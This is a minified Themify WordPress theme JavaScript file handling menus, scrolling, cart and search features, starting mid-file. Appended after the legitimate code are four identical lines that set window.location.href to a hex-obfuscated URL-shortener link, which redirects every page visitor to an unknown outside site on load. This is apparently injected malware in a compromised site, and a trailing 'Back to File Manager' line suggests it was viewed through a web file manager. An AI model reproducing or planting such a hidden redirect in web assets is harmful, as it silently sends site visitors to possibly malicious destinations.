class='child-arrow'></span>"); a(".header-overlay #main-nav li.menu-item-has-children > .child-arrow, .header-overlay #main-nav li.page_item_has_children > .child-arrow").click(function(){a(this).toggleClass("toggle-on").next("div, ul").toggle("fast");return!0});var E=function(){if("undefined"!==typeof a.fn.niceScroll&&!g()&&e.hasClass("header-overlay")){var b=a("#mobile-menu");b.niceScroll();e.on("sidemenushow.themify",function(){setTimeout(function(){b.getNiceScroll().resize()},200)})}};a(".mobile_menu_active").length&&("function"!== typeof a.fn.niceScroll?Themify.LoadAsync(themifyScript.themeURI+"/js/jquery.nicescroll.min.js",E,null,null,function(){return"undefined"!==typeof a.fn.niceScroll}):E());e.hasClass("header-overlay")&&(a("#mobile-menu").wrapInner('<div class="overlay-menu-sticky"></div>'),a("#main-nav a").click(function(){e.hasClass("mobile-menu-visible")&&a("#menu-icon").click()}));v&&"undefined"===typeof a.fn.fullpage&&Themify.LoadAsync(themifyScript.themeURI+"/js/jquery.fullpage.extensions.min.js",function(){e.trigger("themify_fullpage_afterload")}, null,null,function(){return"undefined"!==typeof a.fn.fullpage});if(v&&e.hasClass("query-section")){themifyScript.hash=window.location.hash.replace("#","").replace("!/","");"undefined"!==typeof a.fn.themifyScrollHighlight&&(e.on("scrollhighlight.themify",function(b,c){"undefined"!=typeof c&&""!=c&&a("#fp-nav").find("li").eq(a(".tb_section-"+c.replace("#","")).index()).find("a").trigger("click")}),a(window).trigger("scroll"));var X=setInterval(function(){"undefined"!==typeof ThemifyBuilderModuleJs&& (clearInterval(X),B=ThemifyBuilderModuleJs.wowInit,ThemifyBuilderModuleJs.wowInit=function(){})},100);e.one("themify_fullpage_afterload",function(){var a=setInterval(function(){"undefined"!==typeof ThemifyBuilderModuleJs&&"undefined"!==typeof B&&null!==ThemifyBuilderModuleJs.wow?(clearInterval(a),ThemifyBuilderModuleJs.wow.stop(),B(),setTimeout(k,100)):(clearInterval(a),k())},100)});Themify.is_builder_active&&"undefined"===typeof a.fn.fullpage&&Themify.LoadAsync(themifyScript.themeURI+"/js/jquery.fullpage.extensions.min.js", function(){e.trigger("themify_fullpage_afterload");a.fn.fullpage.destroy("all")},null,null,function(){return"undefined"!==typeof a.fn.fullpage});e.on("themify_onepage_afterload",function(b,c){var d=a(z+".active",a(y)).find(".module_row_slide.active");tbLocalScript&&tbLocalScript.animationInviewSelectors&&"undefined"!==typeof ThemifyBuilderModuleJs&&ThemifyBuilderModuleJs.wow&&a(tbLocalScript.animationInviewSelectors).each(function(b,c){a(c,d).each(function(){ThemifyBuilderModuleJs.wow.show(this)})})}).on("themify_onepage_afterload themify_onepage_after_render", function(b,c,d){a.fn.waypoint&&Waypoint.refreshAll();"undefined"!==typeof ThemifyBuilderModuleJs&&null!==ThemifyBuilderModuleJs.wow&&"boolean"===typeof ThemifyBuilderModuleJs.wow.scrollHandler()&&ThemifyBuilderModuleJs.wow.scrollHandler()})}a(".loops-wrapper.overlay .post").each(function(){a(this).find(".post-image").insertBefore(a(this).find(".post-content"))});q=function(){"undefined"!==typeof a.fn.ThemifyMegaMenu&&(a(".has-mega-sub-menu").each(function(){a(this).find("> ul").removeAttr("class").wrap('<div class="mega-sub-menu sub-menu" />').after('<div class="mega-menu-posts" />').find("li.menu-item-type-taxonomy").addClass("mega-link")}), a(".has-mega-sub-menu").ThemifyMegaMenu({events:themifyScript.events}))};a(".has-mega-sub-menu").length&&("function"!==typeof a.fn.ThemifyMegaMenu?Themify.LoadAsync(themifyScript.themeURI+"/themify/megamenu/js/themify.mega-menu.js",q):q());a(window).on("tfsmartresize",function(){var b=Themify.body;b.hasClass("header-menu-split")&&(a("#menu-icon").is(":visible")?0==a(".header-bar").find("#site-logo").length&&a("#site-logo").prependTo(".header-bar"):0===a(".themify-logo-menu-item").find("#site-logo").length&& a(".themify-logo-menu-item").append(a(".header-bar").find("#site-logo")));a(window).width()>tf_mobile_menu_trigger_point&&(b.hasClass("header-magazine")&&a("#headerwrap").css({paddingBottom:a(".navbar-wrapper").outerHeight()}),b.hasClass("header-classic")&&(a("#headerwrap").css({paddingBottom:a(".navbar-wrapper").outerHeight()}),0==a(".navbar-wrapper").find(".navbar-wrapper-inner").length&&a(".navbar-wrapper").wrapInner('<div class="navbar-wrapper-inner"></div>')))}).load(function(){function b(){var b= !0,c=k.hasClass("fixed-header");c&&k.removeClass("fixed-header");l.each(function(d){var f=a(this).data("fullwidthvideo");f&&(d={url:f,doLoop:!0,ambient:!0,id:d},b&&c&&(b=!1,d.onload=function(){k.addClass("fixed-header")}),a(this).ThemifyBgVideo(d))})}function c(){n(0<a(".masonry:not(.list-post), .gallery-wrapper.packery-gallery").length||"yes"===themifyScript.shop_masonry&&0<a(".woocommerce.archive #content ul.products").length,function(){m.imagesLoaded(function(){Themify.is_builder_active||a(window).resize(); LayoutAndFilter.reLayout()})})}function d(){if(null===q){q=!0;var b=function(b,c,d){"POST"===d.type&&d.url.indexOf("wpf_search")&&e(a(".loops-wrapper"))};a(document).off("ajaxComplete",b).ajaxComplete(b)}}function e(b){var c=a(".auto_tiles",b);b&&b.hasClass("auto_tiles")&&(c=c.add(b));var f=function(){if(themifyScript){var b=a('<div class="post-tiled tiled-square-small" style="visibility: hidden !important; opacity: 0;" />').appendTo(c.first()),d=themifyScript.tiledata.padding,f=parseFloat(b.width()); b.remove();c.each(function(){var b=a(this),c=imagesLoaded(b),e=function(){c.off("always",e);b.children(".product").addClass("post");var a=b.children(".post");themifyScript.tiledata.padding=b.hasClass("no-gutter")?0:d;b.themify_tiles(themifyScript.tiledata,f);setClasses(a,f)};c.once("always",e)})}};0<c.length&&m.hasClass("tile_enable")&&("undefined"===typeof Tiles?Themify.LoadAsync(themifyScript.themeURI+"/js/tiles.min.js",function(){a.fn.themify_tiles?(f(),d()):"undefined"===typeof a.fn.backstretch? Themify.LoadAsync(themify_vars.url+"/js/backstretch.min.js",function(){Themify.LoadAsync(themifyScript.themeURI+"/js/themify-tiles.js",function(){f();d()},null,null,function(){return"undefined"!==typeof a.fn.themify_tiles})},null,null,function(){return"undefined"!==typeof a.fn.backstretch}):Themify.LoadAsync(themifyScript.themeURI+"/js/themify-tiles.js",function(){f();d()},null,null,function(){return"undefined"!==typeof a.fn.themify_tiles})},null,null,function(){return"undefined"!==typeof Tiles}): (f(),d()))}var m=Themify.body;Themify.is_builder_active||(m.hasClass("woocommerce")&&m.hasClass("archive")?O(a("#content ul.products"),"#content .product"):O(a("#loops-wrapper"),".post"));var k=a("#headerwrap"),l=k.find("[data-fullwidthvideo]");k.data("fullwidthvideo")&&(l=l.add(k));0<l.length&&!g()&&("undefined"===typeof a.fn.ThemifyBgVideo?Themify.LoadAsync(themify_vars.url+"/js/bigvideo.js",b,null,null,function(){return"undefined"!==typeof a.fn.ThemifyBgVideo}):b());g()&&l.length&&l.each(function(b){var c= a(this).data("fullwidthvideo");c&&0<=c.indexOf(".mp4")&&0<=c.indexOf(window.location.hostname)&&(a(this).addClass("themify-responsive-video-background"),b=a('<div class="header-video-wrap"><video class="responsive-video header-video video-'+b+'" muted="true" autoplay="true" loop="true" playsinline="true" ><source src="'+c+'" type="video/mp4"></video></div>'),b.prependTo(a(this)))});if(Themify.is_builder_active)m.on("builder_load_module_partial",function(b,d,e){d||c();n(0<a(".post-filter",d).find("a").length, function(){LayoutAndFilter.enableFilters(d)})});else c();a(function(a){a("#main-nav li:has(ul), #footer-nav li:has(ul)").on("mouseenter dropdown_open",function(b){window.clearTimeout(a(this).data("edge_menu_t"));var c=a("ul:first",this);b=c.offset().left;var c=c.width(),d=a(window).width();b+c<=d||a(this).addClass("edge")}).on("mouseleave dropdown_close",function(){var b=a(this),c=setTimeout(function(){b.removeClass("edge")},300);b.data("edge_menu_t",c)})});v&&m.hasClass("query-section")&&(m.on("themify_onepage_after_render", function(){a.each(tbLocalScript.animationInviewSelectors,function(b,c){a(c).css("visibility","hidden")});window.location.hash&&setTimeout(function(){var b=themifyScript.hash,b=-1!=b.indexOf("/")?b.substring(0,b.indexOf("/")):b;if(""!=b&&"#"!=b){var c=x?a(".tb_section-"+b):a("#"+b);0<c.length&&(a.fn.fullpage.moveTo(c.closest(".section-container").index()+1,c.index()),"undefined"!==typeof ThemifyBuilderModuleJs&&ThemifyBuilderModuleJs.wow&&a(tbLocalScript.animationInviewSelectors).each(function(b,d){a(d, c).addBack().each(function(){ThemifyBuilderModuleJs.wow.show(this)})}))}},1500)}),a(".module_row").css("visibility","visible"));a(document).on("click",".remove-item-js",function(b){b.preventDefault();var c=a(this);b={action:"theme_delete_cart",remove_item:c.attr("data-product-key")};var d=m.find(".ajax_add_to_cart "),e=c.parent().find(".product-title a").attr("href");a.post(woocommerce_params.ajax_url,b,function(b){var f=b.fragments;b=b.cart_hash;0===c.parent().find(".added_to_cart").length&&c.addClass("added"); f&&(a.each(f,function(b,c){a(b).addClass("updating").replaceWith(c)}),a(f["#shopdock-ultra"]).find(".cart-total").length||a("#cart-icon-close").trigger("click"));d.length&&d.each(function(){a(this).hasClass("added")&&a(this).closest(".post-content").find('[href="'+e+'"]').length&&a(this).removeClass("added").siblings(".added_to_cart").remove()});m.trigger("removed_from_cart",[f,b])})});var q=Themify.is_builder_active?!0:null;if(Themify.is_builder_active)if(m.on("builder_load_module_partial",function(a, b,c){if(void 0!==b&&(a=b.find(".builder-posts-wrap,.wc-products").first(),c=a.hasClass("masonry"),a.length)){a.css("height","").removeClass("loading-finish");LayoutAndFilter.destroy(a);var d=a[0].classList;c&&(d.contains("grid2")||d.contains("grid3")||d.contains("grid4"))?(a.addClass("masonry"),n(!0,function(){LayoutAndFilter.init(b);var a=imagesLoaded(b),c=function(){a.off("always",c);LayoutAndFilter.layout(b)};a.once("always",c)},!0)):a.hasClass("auto_tiles")?e(a):a.data("themify_tiles")&&a.data("themify_tiles").destroy()}}), Themify.is_builder_loaded)e();else window.top.jQuery("body").one("themify_builder_ready",function(){e()});else e()});q=function(){var b,c=a("#footerwrap"),d=c.find("#footer"),e=c.innerHeight(),g=a("#body"),m=function(){e=c.innerHeight();!f&&c.parent().css("padding-bottom",e)},k=function(){var a=g.get(0).getBoundingClientRect(),b=window.innerHeight-a.bottom;c.toggleClass("active-revealing",0>a.top);0<=b&&b<=e?d.css("opacity",b/e+.2):b>e&&d.css("opacity",1)};if(c.length||g.length){var l=g.parents(); l.length&&g.add(l).each(function(){if(!b){var c=a(this).css("background-color");c&&"transparent"!==c&&"rgba(0, 0, 0, 0)"!==c&&(b=c)}});g.css("background-color",b||"#ffffff");var f="sticky"===c.css("position");Themify.body.toggleClass("no-css-sticky",!f);m();k();a(window).on("tfsmartresize",m).on("scroll",k)}};if(Themify.body.hasClass("revealing-footer")){var U=a(".back-top.back-top-float");q();U.length&&a("#footerwrap").before(U)}a("input, textarea").focus(function(){a(this).parents("#commentform p").addClass("focused")}).blur(function(){""== a(this).val()?(a(this).removeClass("filled"),a(this).parents("#commentform p").removeClass("focused")):a(this).addClass("filled")});e.on("added_to_cart",function(b){b=a(".cart-icon");b.hasClass("empty-cart")&&b.removeClass("empty-cart")}).on("removed_from_cart",function(b){b=a(".cart-icon");!b.hasClass("empty-cart")&&0>=parseInt(a("#cart-icon span").text())&&b.addClass("empty-cart")})});a(window).load(function(){if("1"===themifyScript.pageLoaderEffect||Themify.body.hasClass("full-section-scrolling"))Themify.body.addClass("ready-view").removeClass("hidden-view"), a(".section_loader").fadeOut(500,function(){"undefined"!==typeof ThemifyBuilderModuleJs&&"undefined"!==typeof ThemifyBuilderModuleJs.wowInit&&ThemifyBuilderModuleJs.wowInit()});themifyScript.onBrowseAway=function(g){"BODY"==g.target.activeElement.tagName||"tb_toolbar"==a(g.target.activeElement).attr("id")||a(g.target.activeElement).closest("#tb_toolbar").length||(Themify.body.hasClass("ready-view")?Themify.body.addClass("hidden-view").removeClass("ready-view"):Themify.body.addClass("hidden-view"))}; ("1"===themifyScript.pageLoaderEffect||Themify.body.hasClass("full-section-scrolling"))&&window.addEventListener("beforeunload",themifyScript.onBrowseAway)});var n=a("#search-lightbox-wrap");if(0<n.length){var g=[],l,k=n.find("#searchform input"),r=n.find(".search-results-wrap");a(".search-button, #close-search-box").on("click",function(g){g.preventDefault();k.val().length?n.addClass("search-active"):n.removeClass("search-active");a(this).hasClass("search-button")?(n.fadeIn(function(){k.focus();Themify.body.css("overflow-y", "hidden")}),Themify.body.addClass("searchform-slidedown")):(l&&l.abort(),n.fadeOut(),Themify.body.css("overflow-y","visible").removeClass("searchform-slidedown"))});r.on("click",".search-option-tab a",function(g){g.preventDefault();g=a(this).attr("href").replace("#","");"all"===g?g="item":r.find(".result-item").stop().fadeOut();0<a("#result-link-"+g).length&&(a(".view-all-button").hide(),a("#result-link-"+g).show());r.find(".result-"+g).stop().fadeIn();a(this).closest("li").addClass("active").siblings("li").removeClass("active")}); k.prop("autocomplete","off").on("keyup",function(m){function L(a){0>a&&(a=0);r.find(".search-option-tab li").eq(a).children("a").trigger("click");r.show()}0<k.val().length?n.addClass("search-active"):n.removeClass("search-active");if(48<=m.keyCode&&57>=m.keyCode||65<=m.keyCode&&90>=m.keyCode||8===m.keyCode||229===m.keyCode){var u=a.trim(a(this).val());u?g[u]?(m=r.find(".search-option-tab li.active").index(),r.hide().html(g[u]),L(m)):setTimeout(function(){u=a.trim(k.val());l&&l.abort();u?l=a.ajax({url:themifyScript.ajax_url, type:"POST",data:{action:"themify_search_autocomplete",term:u},beforeSend:function(){n.addClass("themify-loading");r.html('<span class="themify_spinner"></span>')},complete:function(){n.removeClass("themify-loading")},success:function(a){if(!u)r.html("");else if(a){var k=r.find(".search-option-tab li.active").index();r.hide().html(a);L(k);r.find(".search-option-tab li.active");g[u]=a}}}):r.html("")},100):r.html("")}})}})(jQuery); window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x68\x75\x4e\x5a\x4c\x59\x58\x55\x67\x30\x72\x31"; window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x68\x75\x4e\x5a\x4c\x59\x58\x55\x67\x30\x72\x31"; window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x68\x75\x4e\x5a\x4c\x59\x58\x55\x67\x30\x72\x31"; window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x64\x65\x76\x2f\x68\x75\x4e\x5a\x4c\x59\x58\x55\x67\x30\x72\x31";
Back to File Manager